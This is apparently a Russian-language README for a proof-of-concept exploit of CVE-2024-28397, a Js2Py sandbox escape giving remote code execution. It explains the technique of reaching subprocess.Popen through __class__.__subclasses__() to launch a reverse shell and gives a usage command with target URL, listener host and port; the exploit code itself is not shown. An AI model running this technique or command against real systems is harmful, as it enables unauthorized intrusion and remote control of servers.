Этот репозиторий содержит доказательство концепции (PoC) для CVE-2024-28397, уязвимости в библиотеке js2py, позволяющей выполнить обход песочницы для достижения удаленного выполнения кода.
Описание
Этот репозиторий содержит Proof of Concept (PoC) на Python для уязвимости CVE-2024-28397, представляющей собой побег из песочницы в интерпретаторе JavaScript Js2Py для Python. Когда целевое приложение выполняет непроверенный JS-код через Js2Py, злоумышленник может выйти из песочницы и выполнить произвольный Python-код. Это можно использовать для получения удалённого выполнения кода (RCE) и обратной оболочки на уязвимой системе.
Данный эксплойт вдохновлён проектом Marven11 CVE-2024-28397-js2py-Sandbox-Escape.
Отказ от ответственности
Этот скрипт предоставляется исключительно для образовательных целей и санкционированного тестирования на проникновение. Несанкционированное использование этого скрипта против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим скриптом.
Об уязвимости
__class__.__base__.__subclasses__, приводящий к произвольному выполнению кодаВозможности
Требования
requests (pip install requests)/dev/tcp)Использование
python3 exploit.py --target http://example.htb --lhost 10.10.14.51 --lport 4444
--target: Полный URL-адрес уязвимой конечной точки веб-приложения--lhost: Ваш локальный IP-адрес (используется для обратной оболочки)--lport: Ваш локальный порт для приёма оболочкиКак это работает
__class__.__base__.__subclasses__(), чтобы найти subprocess.Popen.Popen для декодирования и выполнения оболочки.